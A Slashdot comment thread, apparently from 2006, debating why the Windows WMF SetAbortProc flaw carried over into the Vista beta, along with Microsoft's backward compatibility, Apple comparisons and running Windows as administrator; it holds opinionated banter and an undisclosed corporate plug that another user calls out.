  35. Why? by dotdevin · · Score: 1

    I really have not seen the point of the current and comming versions of Windows. Win2k was stable, fast, secure (or could be made so with the needed software/hardware), and ran all of the software I run today.

    Yes, XP made some nice UI improvements but that could have been offered as a 'power pack' for 2k.

    And now Vista...Why? In its place I would like to see a stable and fast 64 bit Windows available as an upgrade and a 'low profile' Windows for smaller systems with limited memory and disk.

    -D

    1. Re:Why? by ticklish2day · · Score: 1

      Have you glanced at Windows XP x64 or Windows 2003 Server x64? How about the Windows CE or Windows Mobile family? Lotsa links in the Microsoft Windows page.

    2. Re:Why? by Anonymous Coward · · Score: 0

      And now Vista...Why?

      One word:

      money
      more money
      money for nothing
      money money money
      money up the wazoo
      more and more money
      money that will make you hoot like a fat sweaty monkey
      so much money you might think you're more powerful than the president
      so much money it's not worth your time to pick up thousand dollar bills
      so much money angelina jolie will dump brad and want to have your baby instead
      steve and angelina? bill and angelina? omg, i hope i don't know what i'm talking about; that's just gross

    3. Re:Why? by HermanAB · · Score: 1

      Win2k secure??? It has the same bugs. How can you say it was more secure? WinNT, Win2k, WinXP, WinVista are just text version numbers for the same OS. They are not much different.

      --
      Oh well, what the hell...
  36. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  37. Re:Yeah, right. by daveb · · Score: 1, Offtopic
    oh come on - you're suggesting that XP (especialy with SP2) is NOT significantly more secure than win2k, win98 or even NT4ws - and you are very very wrong.

    XP is way more secure - there's no getting away from it (unless you stick your head in the sand screaming "it ain't it ain't").

    The truth is that there is so much further to go.

    Next I'll be hearing that XP can't be installed by normal users and doesn't impliment a WIMP interface.

    as for Vista - I'm looking forward to using it - my current experience is that it really does make better use of graphics cards and SATA drives. But I don't expect to read any such articles here.

  38. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  39. You mean the BETA is not production ready?!?! by drsmack1 · · Score: 2, Insightful

    Isn't this just a little too much? Do the people who accept these sort of stories have ANY introspection at all?

  40. Didn't Microsoft say... by Hymer · · Score: 3, Informative

    ...that Longhorn (now Vista) is completly new design... from scratsh... none of the earlier flaws would be ported to it ?
    Do I remember wrong ? ...or are they full of shit as usual ?

    1. Re:Didn't Microsoft say... by daern · · Score: 1

      ...that Longhorn (now Vista) is completly new design... from scratsh... none of the earlier flaws would be ported to it ?
      Do I remember wrong ? ...or are they full of shit as usual ?

      No, you remember quite wrong.

    2. Re:Didn't Microsoft say... by eyepeepackets · · Score: 1

      " ...or are they full of shit as usual ?"

      Yes.

      --
      Everything in the Universe sucks: It's the law!
    3. Re:Didn't Microsoft say... by Anonymous Coward · · Score: 0

      ...or am I full of shit as usual ?

      Indeed, yes you are.

    4. Re:Didn't Microsoft say... by sethadam1 · · Score: 4, Insightful

      You remember right. That was the deal about 4-5 years ago or so. Gates called it a "bet the company" initiative, and they decided to rewrite from scratch.

      Then, a few years later, pretty much nothing worked, so they tossed out all the 4000-era builds, took a clean copy of Windows 2003 SP1, and built on top of that.

      That is Vista. It's built on Server 2003 SP1.

  41. Vista new from ground up? by Teun · · Score: 1
    I thought it was The Borg himself that had the first code attempt at Vista scrapped and restarted the project from ground up.

    The fact this old 'vunerability' suddenly crops up makes me wonder if the paranoid are right and this was an intentional back door...

    --
    "The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
  42. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  43. Re:At least... nothing by saskboy · · Score: 1

    They aren't attempting to release a more secure Windows, this bug makes that apparent. This is a bug that they probably should have noticed when they ported the code from Windows 3.0 over to Vista, and thus MS would have noticed the bug last year or earlier and realized it affected Windows XP too and patched it before WMF became a 0 day exploit.

    --
    Saskboy's blog is good. 9 out of 10 dentists agree.
  44. Re:Vista is Yesterday's News by Anonymous Coward · · Score: 0

    You are totally missing the point here. Go back to school.

  45. Re:Who wants to bet by Anonymous Coward · · Score: 0

    tard

  46. Nope, Rosetta is inadequate by Anonymous Coward · · Score: 0

    Rosetta handles *some* software written *within* last five years - ie. PowerPC OS X software that doesn't require G5's or other tricky system stuff. Anything written earlier is for Mac OS 9 and earlier, and requires the not-supported-on-Intel Classic environment.

    This, of course, means that the Mac software written in the timeframe of, say, Office 2000 and Office 97 (still used by tons of companies) would not run on any of these new machines.

    (Of course, Microsoft would love if they had a way to force people to stop using those versions, but that's another issue...)

    1. Re:Nope, Rosetta is inadequate by IntlHarvester · · Score: 1

      Exactly. Check Apple's own hype page on Rosetta, and there's a list of Apple's own software that won't run. And that's not even mentioning third party programs or any and all classic MacOS stuff.

      --
      Business. Numbers. Money. People. Computer World.
  47. The real deal by jamesl · · Score: 2

    From the Microsoft Security Center Blog, facts about "the recent WMF issue" and SetAbortProc.

    Now that the monthly release has passed and people are deploying the updates I wanted to take a moment to discuss some things related to questions we've been receiving on the recent WMF issue. (Which was addressed in MS06-001).
    http://blogs.technet.com/msrc/archive/2006/01/13/4 17431.aspx

    1. Re:The real deal by makomk · · Score: 1

      Interesting - according to that, Win95/98/ME don't actually run the hook set via SetAbortProc when rendering a metafile (unless you're printing it and the print job is aborted), but some change was introduced in 2000/XP such that it was called after the next metafile record is processed (which is an *extremely* odd thing for Windows to do, considering what SetAbortProc was designed to do).

      Maybe Gibson was accidentally on the mark about it being an intentional backdoor. After all, that's about the same time a vulnerable Windows program able to display metafiles was introduced (was that in 2000 or XP?).

  48. Finally - Please stop complaining! by DaFrog · · Score: 1

    Please - M$ is now so security aware that they publish patches BEFORE the product is available! Hmmm.... What is wrong there?

  49. OS9/OS X by plopez · · Score: 1

    Apple provided a backward compatible environment for their apps. Why can't MS? License VMWare or something. Really, using newer hardware you could run old apps in a sandbox running on top of a complete rewrite. Really it all comes down to a lack of will. They have the money, they have examples (OS 9/OSX, VMWare) why not do it? Seriously, VM technology has been around since the 70's at least.

    --
    putting the 'B' in LGBTQ+
    1. Re:OS9/OS X by IntlHarvester · · Score: 1

      I think that's a fair suggestion, and in fact that's part of Microsoft's backcompat strategy on the server-level with Virtual PC. Admittedly Vista does come with a bunch of sandbox/virutalization stuff, but at some point you really just have to run Win95 in an virtual machine.

      Perhaps they have bad memories of OS/2 running 'legacy' software in the so-called "Penalty Box" and are afraid of OS/2ing themselves. Or maybe the lack of COM/DDE interop would break more things that it would fix.

      --
      Business. Numbers. Money. People. Computer World.
    2. Re:OS9/OS X by Joe123456 · · Score: 0

      thay own vpc

  50. Total non story by Anonymous Coward · · Score: 1, Funny

    A bug exists in a product 6 months away from release and we learn Microsoft hasn't rewritten every single line of code for Vista.

    Oh the humanity!

    1. Re:Total non story by Anonymous Coward · · Score: 0

      5.5 years later I am still disappointed. OTHER OS'es and technologies surpass Microsoft. You'd think that their butt-load of revenue would enhance Microsoft to excel past their competitors. All I see is a flufier UI and extended DRM...yet still I will need security updates every week.

      To all you MS clonies, I bet you are Boston (the group) fans. Waiting 5 years just to get the same o' crap.

      Shove your money in BG's wallet and swallow what he gives you. Yes and bash (pun) all the other OE's but choke on the fact that they offer more than your GOD MS.

      I am sick and tired of the Microsoft FLUFFERS - the defenders of the faith. You defend this juggerknot while Billy Boy builds India's economics.

      WTF is wrong with you?? D/L your patches, continue waiting and ignore the competition. And finally, become gay for business purposes!

  51. Scourer by Anonymous Coward · · Score: 0

    I think MS should invest in a new scourer to "scour" their (rusty, limescaled, old) code with.

  52. Why then... by SuperKendall · · Score: 1

    Apple bought an abandoned OS from the 1980s, that uses kernel with code originally written in the late 1970s. On top of that, they bolted a bunch of Toolbox compatibility code dating from the 80s and 90s, and a bunch of *nix stuff which is also 10-20 years old.

    So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.


    So why is it then that Apple seems to have managed to copy all the working bits, while Microsoft has brought forward the parts that bring the most grief to users?

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:Why then... by drsmithy · · Score: 1
      So why is it then that Apple seems to have managed to copy all the working bits, while Microsoft has brought forward the parts that bring the most grief to users?

      Because Apple, starting 5 - 10 years after Microsoft, had substantial hindsight and hardware advantages.

  53. Who is Vista made for? by GanjaManja · · Score: 1

    I agree with some guy early one, who said users don't need this. This whole thing must sound great if you're a network admin or something, but I can't say anything about it sounds particularly exciting, or even interesting, as I do not program, make web pages or Admin a huge network. I don't even know what half the acronyms mean really... I think they don't apply to 90% of computer users. The only thing I've heard about it that sounds slightly useful is the "breadcrumbs" thing, that sounds like a cool feature. If you know what that is,then you know it isn't a terribly big deal, and thus I don't give a crap about WIndows Vista. I wonder if that's how others feel?

    1. Re:Who is Vista made for? by Anonymous Coward · · Score: 0

      I am sure that there was good intent the first couple of years of Vista's development. However, I believe that timelines and subtle changes were priority on the plate.

      Yes, most users will not benefit from Vista in my thoughts. Why? They forgot to master features like Audio reconization and RFID frameworks as well as a released spyware AI and most importantly, a GUI AI. Of course I'll wait for WinFS - Holding breath

    2. Re:Who is Vista made for? by GanjaManja · · Score: 1

      What is WinFS?

    3. Re:Who is Vista made for? by fleaboy · · Score: 1

      Sheeple, of course.

      --
      Life is a gift. And my Karma couldn't possibly be 'Positive'
  54. Not so sure about that. by SuperKendall · · Score: 1

    Vista will appear in the consumer market as the successor to Win MCE, at a time when HDTV, the HTPC and on-line media services are becoming mass-market.

    But all Vista will offer such devices is a small improvement on UI, and even then most media-dedicated computers have customized UI anyway.

    Vista will not help at all if other companies produce devices with better software. Why are people still using TiVO? Would WiVO really be better if based on Vista?

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  55. Windows Server 2003 codebase by ScottCooperDotNet · · Score: 1

    I've read elsewhere on Slashdot that they knew the XP code base was so mangled that they stopped the XP-to-Longhorn project and started again with the excellent Windows Server 2003 codebase. This is why it's taking forever to get it out the door.

  56. INternet, security, spies and technology... by raman+ananda · · Score: 0, Troll

    We are in the times in which the people have to protect each other. And we all are the people, and the ones that are against the people are the powerful that will not take into consideration peoples rights.

    What NSA is doing is an abuse, but the people that communicate through the internet are very vulnerable to abuse, not only by the governments, but also by mafias and groups of a diversity of allied criminals, some of them acting with white gloves.

    Internet is today the field for criminal activities. In the last few days I have been receiving an enormous amount of emails which were fake from ebay, pay pal, the Netherlands Lotto etc... trying to get from me my password to this accounts. And some of them looked so good that could be mistaken by the real thing, but users of the internet that engage in criminal activities disguise themselves in anonymity that internet provides.

    Our communications throuh the internet are surveiled since time immemorial by NSA, and a wealth of information about us can be collected and may be collected. And this is a great danger to the people, and no law protects us these days.

    What about an internet between authenticated and identified users... so that the majority of internet users that don't mind to be identified because they live in a free country and at the same time, not being engaged in fraudulent activity or criminal activity don't mind to inter-communicate with other identified and authenticated members of the net. Why should anyone want to be anonymous if not engaged in criminal activity?

    This is my point. We should suport the institutions, companies and private people that support the target to bring privacy and security within identified users when using the internet to communicate This is the case of a company called Amteus.

    Now, once in communication with an identified user, which is properly authenticated, then you provide privacy, so... unless you want to make it public, nobody can access your communication because it is properly secured and encrypted. i.e. it travels in a closed envelope and it is unlawful to open it, and it is being between identified and authenticated users that trust each other. Otherwise, not only the governments with their NSAs involved in their own practices will snoop on us, but gangs of gangsters will easily intercept our communications, phishing like the email I have received will only be the beginning. I am starting a website to support this kind of approach.

    This requires legislation, but also requires technology. Like the one developed by Amteus. But there are many other.

    I hope that the people with vision that have given to the internet a view that will promote freedom and cleanliness, like John Perry Barlow will help this company to succeed in a very honorable project.

    It is very distressing these days what is going on with the Internet. Hopefully companies like Amteus Plc that are bringing a technology to overcome this problem of snooping, spam, phishing etc.. will survive attacks from those that hide behind anonimity.

    Ramon Leonato

    1. Re:INternet, security, spies and technology... by andrewweb · · Score: 1

      "Hopefully companies like Amteus Plc that are bringing a technology to overcome this problem of snooping, spam, phishing etc.. will survive attacks from those that hide behind anonimity."

      Can I ask why you don't point out that in fact you work for Amteus ?

      Pushing your own commercial solutions without declaring that interest kind of sounds a little, underhand, don't you think?

      But of course, it's not your first time:
      (from: http://drubin.blogspot.com/2004/07/penned-in-anger .html)

      "amteus amteus amteus...

      What is this...

      Is technology that will bring us privacy and freedom of speach, the freedom of speaking without anyone being able to snoop on our conversations or emails.

      Amteus is being floated. Check that company. I am buying some shares. We need many companies like amteus
      # posted by Ramon Leonato : 7:00 AM"

      Well of course you're buying shares. You work for the company :)

      http://www.zdnet.co.uk/talkback/?PROCESS=show&ID=2 0054948&AT=39246561-39020651t-10000022c

      "Today many companies, like the company I work
      for Amteus Plc"..

      Feel free to spam-post all you like. Modded accordingly I hope. Credibility -1 perhaps?

    2. Re:INternet, security, spies and technology... by raman+ananda · · Score: 0

      I work for that company, and I work for other companies and institutions also.

      I am still today a research scholar at Berkeley University, and my main target has to do with helping to build a better world. I am a little bit philantropic for that respect.

      That does not change at all neither my point of view, neither the point I have been making. Thank you very much for reading my post in any case. I was starting to thing that I was speaking to empty spaces as nobody seam to send me any resposnd. I am new to this environment you know..

      I do not know if Amteus will bring that, I know it will not only be Amteus, it will be the industry... Hopefuly... is from all these forums we start to press for it.

      I am very sincere in what I am saying. I will put you an example. As I have been surfing the web from one place to another I have been leaving my address and email and URL in many web sites, registerd in many places etc... shortly after I received a few emails that I am posting in my site for your info (eBay Pay Pal)

      Dangerous staff that unless you are aware will harm you. Amteus has its own proposition in which I believe as if it was not the case I would not work for them. But there are many others.

      I am collecting my posts in my web site also if you want to read them all, but as I am starting with this one don't bother for now and wait a while and see what I am trying to say.

      In any case thanks for your reply that I really appreciate.

      Ramon Leonato

  57. Outlook? by Tony · · Score: 2, Funny

    But going forward MS is going a whole new outlook on security.

    That's funny. Outlook was one of Microsoft's first major security problems.

    --
    Microsoft is to software what Budweiser is to beer.
  58. So? by Mike_ya · · Score: 1

    Imagine that, a patch for a piece of software in beta. Why am I suppose to care?

  59. Re:At least... nothing by Zonnald · · Score: 1

    Just how do you "Notice" a bug.
    If the program works as specified, satisfies all the boundary conditions and tests devised to establish that is stable, then it could be said to be bug free.
    Since the data/tests required to prove a given piece of software is incomplete (as in infinite), it is never possible to claim a program is bug free.

  60. Re:Gibson is such an Alarmist! Now patch your code by kupci · · Score: 1

    Microsoft is fixing the newer versions of Windows, but not older ones, through some means of a careful definition of "critical vulnerability". But Guilfanov's patch works for earlier versions. The funny thing, and the point about open source, is that Gibson wouldn't have dug into this had there been a patch for all versions. And granted, it isn't as big an issue, with the earlier versions, because of the default settings for opening WMF files. But either way, another muddled and poor showing by Microsoft, but they are definitely improving, because of folks like Gibson, the folks at f-secure, Guilfanov, and this is my main point.

  61. Hopefully.. by Anonymous Coward · · Score: 0

    the first of many

  62. beta code vs. release code by kupci · · Score: 1
    You're right! They should fix these bugs before release...in some period where things are still be fixed. Maybe call it....Beta

    Thanks for the explanation.....so........ Windows 2000, Windows XP, Windows ME are beta software then? Is there any code that ISN'T beta? Just wondering.

  63. Re:At least... nothing by saskboy · · Score: 1

    A large professional company like Microsoft, that claims to be always "generating the most secure OS ever - next" should be going over re-used code as if it were just written and using the perspective of a modern eye, spot coding techniques or processes that are no longer used for various reasons. Given the number of flaws with other image types from png to jpg, they should have gone over any code of their's that can process images and check for things like buffer overflow exploits and ancient processes. If hackers can do it, why can't the all powerful Microsoft, especially since they have access to the commented code?

    --
    Saskboy's blog is good. 9 out of 10 dentists agree.
  64. what's your definition of beta? by kupci · · Score: 1
    Isn't this just a little too much? Do the people who accept these sort of stories have ANY introspection at all?


    #1 This is a serious bug.
    #2 This is also in production code. Win2k, XP.
    #3 Many people don't seem to realize just what the term 'beta' is. Now, I'm not talking about MSFT's standards, they seem to dicker on what a "critical vulnerability" is. But typically, beta software has passed testing and is ready for limited use. Many open source tools languish as beta for years, while being used in production environments. Google seems to follow this practice, I've been using their 'beta' version of gmail.
    #4 Not interested? The previous post got over 600 comments. What's your definition of newsworthy? Britney Spears? This is America, this is entertainment. # 5 It's interesting because it illustrates Microsoft's software process, in that this ancient piece of code got swept right in to their latest and greatest, and could very well have been production software, as pointed out it's in XP. This is the reasoning behind Steve Gibson's statement this is a huge benefit of open source (down at the bottom of the interview he states that he's getting interested in open source for this very reason.)

  65. XP and 2K have had window shadows. by Khyber · · Score: 1

    and since 2K was released in 2000... Apple 5 Microsoft 6, since it's 2006?

    --
    Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
    1. Re:XP and 2K have had window shadows. by Overly+Critical+Guy · · Score: 1

      No, Windows 2000 had tiny shadows behind the menus and mouse cursor, but not shadows behind windows. Apple's 2000 OS X beta that introduced Aqua to the world had window shadows which changed sizes to differentiate between foreground and background applications, as well as menu and cursor shadows.

      Vista also offers such incredible innovations as animated minimizing and maximizing, real-time video preview in the taskbar, and other dozens of features introduced six years ago by Apple.

      --
      "Sufferin' succotash."
  66. When they added the WMF functionality.. by kupci · · Score: 1
    Vista is not a ground-up rewrite.

    Sorry, those Microsoft marketers again.

    So exactly when were they supposed to check it line-by-line as they were adding code that has been in windows for 10 years?

    Maybe before they made their claim that this is the safest version of Windows ever.

    Seriously, it should've been checked when they added the WMF functionality to Windows, but maybe because it's in assembly language they didn't check it (that was what was hinted at on Ars where Microsoft has some rather vague excuses, none of which answer to Steve's points. Just don't whine about this to Steve Gibson, he lives and breathes in assembly. Not a big deal). Yes granted this was back when security was no big deal. And yes granted, this is a tricky isssue, when the design requirements were are certain way, but the context changed. This is what makes coding a challenge. This was code designed for one way, where they retrofitted it to another use, rather than refactoring. But when you have 16 million lines of code plus...

  67. Sorry -- by zo219 · · Score: 0, Offtopic


    . ..can't .. .type. .. ow . . getting stitch from laughing . . so . . hard . .

  68. Before i replied by myfantasyromanc · · Score: 3, Informative

    Now people are making fun of microsoft for porting this over to vista! Do any of you know what it is. If you are a graphics designer you probably should know what it is. Look it up graphics designers and web designers love vector graphics. This is the file that allows windows to draw vector and bitmap images on pre 2000 systems, though it is still included for backwards compatability.

    A metafile is a list of commands that can be played back to draw a graphic. Typically, a metafile is made up of commands to draw objects such as lines, polygons and text and commands to control the style of these objects. NOTE: Some people equate metafiles with vector graphics. In most cases this is fine; but, strictly speaking, a metafile can contain any mix of vector and raster graphics. For example, a metafile could contain just one command to display a bitmap! Unless the distinction is important, we will consider a metafile to be a kind of vector graphic.

    The reason it was still included is cause it is technically a file format! Do you rewrite everything in linux? Was php totally rewritten from the ground up from php4 to php5 i don't think so.

    Just my take on things!

    --
    I am giving away 2000 premium accounts on my new dating website myfantasyromance.com check it out!
    1. Re:Before i replied by zorak1103 · · Score: 1

      I think the porting of the wmf format to vista is not a bad thing. (You are right, after all it is just a file format.) But porting SetAbortProc including the severe error is something else. Not something to make fun about, because it shows that M$ hasn't learned that much.

    2. Re:Before i replied by myfantasyromanc · · Score: 1

      actually it does. It shows they have learned a lot. Since it was found they also released the patch to fix there newest operating system. It probably wasn't thought of until this came out. Remember vista has been in the works for over a year now close to a year and a half. The exploit was just released the other day, it was probably one of the origional peices of vista. So i don't blame them

      --
      I am giving away 2000 premium accounts on my new dating website myfantasyromance.com check it out!
  69. So in other words by SuperKendall · · Score: 1

    Because Apple, starting 5 - 10 years after Microsoft, had substantial hindsight and hardware advantages.

    I see, you are saying that since Microsoft Windows has been around for almost fifteen years, that Microsoft is unable (or unwilling) to learn from the past whereas Apple is.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:So in other words by drsmithy · · Score: 1
      I see, you are saying that since Microsoft Windows has been around for almost fifteen years, that Microsoft is unable (or unwilling) to learn from the past whereas Apple is.

      No, I'm saying when you aren't constrained by decisions made fifteen years ago, it's a lot easier to take advantage of more modern technology.

    2. Re:So in other words by Al+Dimond · · Score: 1

      Microsoft has been constrained by a choice they made: to make binary backwards compatibility a major priority. Intel also prized backwards compatibility and Microsoft sticking with them for the long run helped also. Some (not all but quite a few) old old old old DOS programs still will run on Windows XP today; only the new 64-bit versions of Windows will cut off support for this stuff that's more than 20 years old.

      Impressive, sure. But also problematic. The way I see it it's nice to be able to run old programs seamlessly. But I don't think Microsoft would lose much business if they just stopped supporting parts of the old API they didn't like. Software in active development would adjust; abandonware would be replaced, hopefully by something better. Life would go on. And if you ever really need to run some horribly old program virtualization technologies should be your answer. Far better in my opinion to annoy a minority of people depending on legacy code than to allow sloppy application coders to force almost all Windows users into bad security practices.

    3. Re:So in other words by drsmithy · · Score: 1
      Microsoft has been constrained by a choice they made: to make binary backwards compatibility a major priority.

      Pretty much all commercial OS developers make legacy support a primary priority.

      Some (not all but quite a few) old old old old DOS programs still will run on Windows XP today; only the new 64-bit versions of Windows will cut off support for this stuff that's more than 20 years old.

      This is not inherently a bad thing. NT isn't making many (if any) harmful sacrifices to retain its level of support for old DOS binaries (Windows 9x did, but it did so as it had a different set of design constraints).

      But I don't think Microsoft would lose much business if they just stopped supporting parts of the old API they didn't like.

      Microsoft disagree, and I'm inclined to think they're making more hard work and expense for themselves out of a real concern of losing customers, not just for the hell of it.

      Far better in my opinion to annoy a minority of people depending on legacy code than to allow sloppy application coders to force almost all Windows users into bad security practices.

      The problem is the "legacy code" in Vista is going to be Win32 - and there's a hell of a lot fo Win32 out there.

      Microsoft don't do massive, radical changes. They do slow, gradual ones with relatively painless migration paths. The choice whether to "go secure" and break a bunch of existing software, or not, is in the hands of the end user.

      It's pretty much impossible for Microsoft (or anyone else for that matter) to "force" developers not to write shitty code. If Linux had the user and developer demographics Windows had/has, it would have the same problems with shitty software leading to poor security practices.

    4. Re:So in other words by Al+Dimond · · Score: 1

      The problem is the "legacy code" in Vista is going to be Win32 - and there's a hell of a lot fo Win32 out there.

      We've all heard stories about how Win32 got to be a beast because some bugs had to be maintained in order to keep certain software working. Win32 is OK to keep around, and even those long-standing bugs can be kept around to keep things working. But they should take a real look as they re-implement some of that functionality: does any of this cause security problems? When bugs appear in any of the new Vista APIs they should fix them, announce to the developers that xxxyyy function has changed so its behavior is now correct, and they should retest all their software and be prepared to offer updates. Apple does this; they're willing to break backwards compatibility and keep developers from holding them back. (Apple had been changing things in OSX really quickly for a while, it seems to me, and developers there were forcing users to buy OS upgrades to use their new software! I don't know how expensive this was for them or anything, as I don't own a Mac.)

      The real danger, though, isn't the use of old APIs, it's the use of old security practices. I think that if at the introduction of NT, or at least at NT4 or 2000 Microsoft had really stressed the importance of non-priviledged user accounts and asked developers to fix software that needed Administrator priviledges in stupid times they could have saved everyone from certain problems. If they had that kind of attitude, they have the size to pull it off. Learn to read; I didn't say MS forced developers to write bad code, I said sloppy developers force users into bad security practices like running as Admin, but that MS has allowed this for way too long. In Vista they ought to take the simple solution to the problem and just tell developers that they actually plan on strongly encouraging user accounts this time around at that they'd better fix their broken software.

  70. Vista will be popular by jesterzog · · Score: 1

    Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it! No, they don't care about security, they don't want to know about WinFS (which isn't there anyway), they certainly don't care about .NET 2. What matters is that they don't want to buy a new Dell in order to use... what exactly?

    Vista almost certainly won't be a flop. What matters is that when people do buy a new Dell, or whatever else, they're likely to get it whether they want it or not. Vista will become popular for exactly the same reason that previous versions of Windows became popular, because Microsoft withdraws support from its older releases and forces it at people if they want to keep the software running that they've pre-invested in.

  71. Yes but they made that choice by SuperKendall · · Score: 1

    Microsoft has been constrained by a choice they made: to make binary backwards compatibility a major priority. Intel also prized backwards compatibility and Microsoft sticking with them for the long run helped also. Some (not all but quite a few) old old old old DOS programs still will run on Windows XP today; only the new 64-bit versions of Windows will cut off support for this stuff that's more than 20 years old.

    Yes, it is and was a choice and therefore I hold them accountable to the results of that choice.

    The recent news on having to patch the WMF flaw in Vista shows that they continue to make the same choice even when it is far past obvious that it's not the right one.

    Impressive, sure. But also problematic. The way I see it it's nice to be able to run old programs seamlessly. But I don't think Microsoft would lose much business if they just stopped supporting parts of the old API they didn't like. Software in active development would adjust; abandonware would be replaced, hopefully by something better. Life would go on. And if you ever really need to run some horribly old program virtualization technologies should be your answer. Far better in my opinion to annoy a minority of people depending on legacy code than to allow sloppy application coders to force almost all Windows users into bad security practices.

    Yes, I agree on that point - I really think Microsoft would not be hurting themselves as much as they might think by breaking some of those old API's and starting out anew, and as you say they could easily introduce a compatibility layer similar to Classic on OS X. The right time to do that though was around NT, now they face a harder choice because there are more viable alternatives to Windows now that people might potential switch to if forced to make a new choice themselves. But still there is not really a good argument for not making that choice when they are hurting their image badly by waffling.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  72. Thus by SuperKendall · · Score: 1

    No, I'm saying when you aren't constrained by decisions made fifteen years ago, it's a lot easier to take advantage of more modern technology.

    Thus the "unwilling" part of my comment.

    Microsoft's constraint is all self-imposed, and the discloser of the need to re-fix the WMF flaw shows that even after the correct choice to make becomes obvious, Microsoft is unwilling to take that option because it might sting a little temporarily. Or rather would have if they had made the right choice when the time was ripe.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:Thus by drsmithy · · Score: 1
      Thus the "unwilling" part of my comment.

      That would suggest they aren't making changes, when they are.

      Microsoft's constraint is all self-imposed, and the discloser of the need to re-fix the WMF flaw shows that even after the correct choice to make becomes obvious, Microsoft is unwilling to take that option because it might sting a little temporarily. Or rather would have if they had made the right choice when the time was ripe.

      Right, because no other platform has ever had an arbitrary code exploit before.

  73. -1 Troll? by Anonymous Coward · · Score: 0

    Just out of curiosity, why the hell was this comment modded as troll? Too difficult to understand?

  74. Dear slashdot coders by aug24 · · Score: 1

    Please can we have a 'blatant liar' mod for use in situations such as the parent post.

    Thanks,
    Justin.

    --
    You're only jealous cos the little penguins are talking to me.
    1. Re:Dear slashdot coders by undeadly · · Score: 1

      Oh my, big words. Just read the list of vulnerabilities in the updatelist on, say, Ubuntu, and you'll see alot of patches for kernel exploits. From last summer (I gather this has not changed that much since june): Linux kernel exploits

      Re: Theo gave an interview to Forbes Mag. about Linux

      From: Theo de Raadt (deraadtcvs.openbsd.org)
      Date: Fri Jun 17 2005 - 11:13:37 CDT

      * Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

      > On Fri, Jun 17, 2005 at 04:48:31PM +0200, J. Lievisse Adriaanse wrote:
      > > Theo gave an interview to Forbes Magazine, in which he stated: "It's
      > > terrible," De Raadt says. "Everyone is using it, and they don't
      > > realize how bad it is. And the Linux people will just stick with it
      > > and add to it rather than stepping back and saying, 'This is garbage
      > > and we should fix it.'"
      >
      > Heh. Theo never did pull his punches. I suppose there's now a war going
      > on in /. ? :)

      If the Linux people actually cared about Quality, as we do, they would
      not have had as many localhost kernel security holes in the last year.

      How many is it... 20 so far?
  75. A deal by Joebert · · Score: 1

    I propose a deal.
    OSs, protect yourself all you want.
    Hackers, get in there all you want.

    Just leave my naked picture if Bea Arther alone !

    --
    Wanna fight ? Bend over, stick your head up your ass, and fight for air.
  76. Re:At least... nothing by Ash-Fox · · Score: 1

    Because as we all know, commented sourcecode always tells us where everything is: // There is a critical exploit here

    --
    Change is certain; progress is not obligatory.
  77. Not substantial by SuperKendall · · Score: 1

    That would suggest they aren't making changes, when they are.

    If I put a band-aid on a sucking chest-wound, am I really making changes to the situation or just making it look like I am to keep shareholder morale up?

    Right, because no other platform has ever had an arbitrary code exploit before.

    Lots of other platforms have arbitrary expoits. I'm sure the vresion of OS X I am running has a number of them.

    Few companies however seem as determined to use a codebase full of more than the average number, some by design, as a base for all future work. That's as stupid as it is irresponsible. Or do you hold Microsoft utterly blameless for all security woes?

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
    1. Re:Not substantial by drsmithy · · Score: 1
      If I put a band-aid on a sucking chest-wound, am I really making changes to the situation or just making it look like I am to keep shareholder morale up?

      What "sucking chest wound" are you thinking of here ? The vast, vast majority of Windows exploits leverage either:

      1. Bad security practices (eg: running as Administrator, not patching).

      2. End user ignorance (exacerbating problems exposed by #1).

      Relatively few Windows exploits use unpatched holes, coding bugs or design flaws. Most of them are "run this random download from a website" or "run this random code I've just emailed to you".

      Few companies however seem as determined to use a codebase full of more than the average number, some by design, as a base for all future work.

      There's little evidence to suggest Windows has relatively more (or less) holes than any other OS.

      Or do you hold Microsoft utterly blameless for all security woes?

      I blame them for "security woes" that are their fault. ActiveX, for example, was a reasonable idea in theory, but practice quickly showed it to be a disaster - it should have been dropped years ago. Defaulting to Administrator-level users was also a less than ideal choice, although it's not really a design or coding issue and was understandable in context.

  78. New technologies by strikethree · · Score: 1

    Um... pardon me for being ignorant here, but to me, all of these technologies are stupid. I really do not care how easy it is to draw some friggin GUI elements to make it "easier" for a program to make a useful program. All these things do is "bloat" code and waste extreme amounts of CPU cycles.

    Seriously, what benefit do *I* see as an end user? Do these technologies make Photoshop render transformations faster? Do these technologies make my games run at a higher framerate? Do these technologies make amazing new types of programs available to me? No!

    I was pretty happy with my Amiga. Higher resolutions, more colors, more ram, bigger hard disks, and faster CPUs were all I really wanted. I honestly do not see any need at all for these "great" new technologies.

    strike

    --
    "Someone needs to talk to the tree of liberty about its ghoulish drinking problem." by ohnocitizen
  79. Rond and round we go by SuperKendall · · Score: 1

    Bad security practices (eg: running as Administrator, not patching)/End user ignorance (exacerbating problems exposed by #1).

    Which you have to do (run as admin) for some programs and most users do because it is default. I guess you are blaming the victim then.

    So sad that these problems are greatly alleviated on other systems by such simple practices and Windows cannot find the time over a decade to try it on.

    Relatively few Windows exploits use unpatched holes, coding bugs or design flaws. Most of them are "run this random download from a website" or "run this random code I've just emailed to you".

    So you're saying it's not a design flaw to have the user run as admin by default.

    There's little evidence to suggest Windows has relatively more (or less) holes than any other OS.

    About a 100,00 and growing. The sad thing is I need provide no more detail, you already know what I'm talking about.

    I blame them for "security woes" that are their fault. ActiveX, for example, was a reasonable idea in theory, but practice quickly showed it to be a disaster - it should have been dropped years ago. Defaulting to Administrator-level users was also a less than ideal choice, although it's not really a design or coding issue and was understandable in context.

    So you *do* think running as admin by default is not a design issue. Staggering.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
